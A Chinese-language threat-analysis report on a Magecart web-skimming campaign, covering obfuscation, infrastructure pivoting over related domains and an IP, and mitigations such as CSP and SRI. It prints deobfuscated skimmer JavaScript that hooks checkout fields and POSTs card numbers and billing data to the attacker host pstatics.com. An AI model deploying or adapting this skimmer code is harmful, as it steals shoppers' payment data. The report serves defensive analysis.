你的第三方 script 正在修改 DOM?
摘要
此報告提供對一場現代 Magecart 網頁竊取(web-skimming)攻擊的詳細技術分析,起初是因使用一個位於偽裝成分析服務網域上的惡意 JavaScript 檔案而被發現。分析聚焦於竊取程式所採用的技術機制,包括其混淆手法、去混淆後用於資料收集的核心邏輯,以及用於命令與控制(C2)和資料外洩(exfiltration)的基礎設施。透過對觀察到的入侵指標(IOCs)進行樞紐分析(pivoting),成功映射出更廣泛的關聯基礎設施網路,揭示威脅行為者(threat actor)在域名命名與基礎設施重用上的模式。這些發現凸顯了用戶端供應鏈攻擊的持續性威脅,以及建立穩健防禦策略的必要性。
1. 網頁竊取攻擊簡介
網頁竊取(Web-skimming)常與 Magecart 威脅群體相關,涉及將惡意 JavaScript 程式碼注入電子商務網站,通常針對結帳或付款頁面。該 script 的主要功能是在使用者瀏覽器中直接竊取敏感客戶資料,例如信用卡號與帳單資訊,並在資料加密傳送至合法付款處理器之前截取 [1] 。此類攻擊利用用戶端供應鏈中的漏洞,將受信任的第三方 script 或遭入侵的第一方資源轉變為金融詐欺向量(Vector)。
本次審查的活動始於單一指標:託管於
https://www[.]cc-analytics[.]com/app.js
的惡意 script
[1]
。選擇
cc-analytics
作為網域名稱是一種常見手法,旨在混入合法的網頁分析服務中,以規避安全工具與網站管理員的偵測。將惡意 payload 隱藏在看似無害元素內的技巧,是高階網頁竊取作業的典型特徵
[2]
。
2. 竊取程式技術分析
2.1. 混淆與去混淆
初始樣本使用客製化封裝器(custom packer)進行高度混淆,此技術使靜態分析複雜化,並試圖繞過使用特徵碼(signature-based)的偵測。混淆後的程式碼使用自動執行(self-executing)函式,其中包含複雜的去混淆常式(routine)。該常式涉及一個進位轉換函式(
_0x1B4AF
)與字串陣列查詢機制,最終透過
eval()
呼叫執行惡意 payload
[1]
。
混淆函式可摘要如下:
1. 函式
_0x1B3A1
接收混淆字串與一系列參數。
2. 使用自訂的 base-36 轉換邏輯解碼字串值(string literals)。
3. 利用解碼後的字典進行字串替換。
4. 最終去混淆的字串傳遞給
eval()
。
對動態建構字串使用
eval()
是惡意 JavaScript 的經典指標,因其允許攻擊者執行靜態檔案中不存在的程式碼,進一步增加自動化分析的難度。
2.2. 核心竊取邏輯
去混淆後,竊取程式的核心功能顯現為簡單而有效的資料收集機制。該 script 使用事件監聽器(event listeners)監控使用者在結帳頁面上與特定元素的互動。這是關鍵步驟,確保 script 僅在使用者主動輸入付款資料時才啟動,以降低被動監控時被發現的機率。
script 的執行流程由兩個主要事件觸發:ID 為
checkout__input
元素的
change
事件,以及 class 為
payment-method-cc
元素的
click
事件
[1]
。這種雙重觸發機制確保涵蓋結帳流程的不同階段。
以下圖示說明竊取程式的高階執行流程:
graph TD A[User Visits Checkout Page] --> B{Script Loaded?} B -- Yes --> C[Initialize Event Listeners] B -- No --> D[Wait for DOMContentLoaded] D --> C C --> E[Monitor Input Fields] E --> F{Data Changed/Clicked?} F -- Yes --> G[Collect Sensitive Data] G --> H{Card Number > 14 digits?} H -- Yes --> I[Exfiltrate via POST to C2] H -- No --> E
collectData
函式負責從文件物件模型(Document Object Model, DOM)中提取敏感資訊。它特別針對使用選擇器如
[name="card_number"]
的輸入欄位,並從 ID 為
billing_address_content
的元素中提取帳單資訊
[1]
。
以下為去混淆後的資料收集與外洩核心邏輯:
- // Malicious data exfiltration function
- // This function handles the transmission of stolen data to the attacker's server.
- function sendStolenData(data) {
- const xhr = new XMLHttpRequest();
- // The destination C2 server identified in the campaign
- xhr.open('POST', 'https://www.pstatics.com/i');
- const formData = new FormData();
- // Mapping stolen fields to generic keys to avoid detection
- formData.append('uid', data.cardNumber); // uid for card number
- formData.append('sid', data.billingInfo); // sid for billing info
- xhr.send(formData);
- }
- // Event listeners for form elements
- // Hooks into specific checkout input fields and payment buttons
- document.getElementById('checkout__input').addEventListener('change', collectData);
- document.querySelector('.payment-method-cc').addEventListener('click', collectData);
- // Data collection function
- // Extracts values from the DOM when triggered by user interaction
- function collectData() {
- const stolenData = {
- cardNumber: document.querySelector('[name="card_number"]').value,
- billingInfo: document.getElementById('billing_address_content').innerText,
- };
- // Validation check to ensure a full credit card number is present before exfiltration
- if (stolenData.cardNumber.length > 14) {
- sendStolenData(stolenData);
- }
- }
sendStolenData
函式使用標準
XMLHttpRequest
對外洩網域
pstatics[.]com
發起 POST 請求。值得注意的是,竊取的資料欄位(
cardNumber
與
billingInfo
)被映射至通用且無描述性的參數(
uid
與
sid
),並封裝在
FormData
物件中。此參數映射是另一種試圖隱藏所傳輸資料本質的手法,使其看起來像一般應用程式資料,而非敏感財務資訊。
3. 基礎設施與活動樞紐分析
對主要網域
cc-analytics[.]com
的初步調查,導向識別其託管 IP 位址:
45[.]61[.]136[.]141
[1]
。此 IP 位址成為映射更廣泛攻擊的基礎設施的關鍵樞紐點。透過搜尋同一 IP 上託管的其他網域,揭露了一組關聯的惡意網域叢集。
威脅行為者在網域名命名慣例上展現明確模式,主要使用
get*js
與
*analytics
的變體,以維持其為合法第三方 script 的假象
[1]
。此基礎設施重用是攻擊者具成本效益的策略,使其能快速部署新竊取程式,僅需在遭入侵網站上更改 script 來源 URL 即可。
已識別的關聯網域包括:
*
jgetjs.com
*
getnjs.com
*
getvjs.com
*
getejs.com
*
utilanalytics.com
以下圖示說明初始樣本、託管 IP 與關聯基礎設施之間的關係:
graph LR A[Initial Sample: cc-analytics.com] --> B[Hosting IP: 45.61.136.141] B --> C[jgetjs.com] B --> D[getnjs.com] B --> E[getvjs.com] B --> F[getejs.com] B --> G[utilanalytics.com] A --> H[Exfiltration C2: pstatics.com]
此基礎設施映射確認初始發現並非孤立事件,而是更大規模、有組織攻擊的一部分,擁有專屬的惡意資產網路。這些關聯網域所提供的 payloads 幾乎完全相同,進一步支持此為單一協調行動的結論 [1] 。
4. 緩解與防禦機制
防禦 Magecart 與類似網頁竊取攻擊,需要多層次方法,同時處理注入向量(Injection vector)與外洩嘗試(Exfiltration attempt)。混淆與網域偽裝的使用,凸顯了需仰賴動態行為分析,而非僅依賴靜態檔案掃描。
攻擊者常用的一種隱藏惡意 script 手法,是將其嵌入看似無害的 HTML 標籤中,例如使用 Base64 編碼的
<img>
標籤
[2]
。此方法利用瀏覽器解碼 Base64 字串的能力,再將其作為 JavaScript 執行。這強調了仔細審查所有第三方資源的重要性,特別是在結帳等敏感頁面所載入的資源。
有效的緩解策略包括:
*
內容安全政策(Content Security Policy, CSP):
實施嚴格的 CSP 可防止惡意 script 從未授權網域載入,並阻擋向外洩
C2 伺服器(
pstatics.com
)的外洩嘗試。穩健的 CSP 應限制 script 來源(
script-src
)與連線端點(
connect-src
)僅限於可信賴、已知良好的網域。
*
子資源完整性(Subresource Integrity, SRI):
對所有第三方 scripts 應強制執行 SRI。這可確保若合法 script 遭入侵且內容被篡改,瀏覽器將拒絕載入,從而防止(Neutralizing)注入向量。
*
用戶端監控(Client-Side Monitoring):
專用工具可監控用戶端 DOM 與網路活動,即時偵測結帳頁面的未經授權修改,以及可疑的網路連線(例如對
C2 網域的 POST 請求)。
*
定期稽核(Regular Auditing):
定期稽核所有第三方相依性及其完整性至關重要,因單一受信任 script 的滲透可能導致大規模竊取活動。
結論
對此 Magecart 竊取程式活動的分析,提供了對當前網頁竊取技術狀態的寶貴洞察。該活動依賴
混淆(obfuscation)
隱藏其存在、
網域偽裝(domain masquerading)
以顯得合法,以及
事件驅動的資料收集(event-driven data harvesting)
以高效竊取付款資訊。關聯基礎設施網路的發現,展示了威脅行為者的規模與持續性。透過理解技術流程——從初始混淆 payload 到最終透過
XMLHttpRequest
外洩——資安專業人員可實施具針對性且有效的防禦措施,特別著重於嚴格的 CSP 實作與持續的用戶端監控,以保護電子商務平台免受此普遍威脅。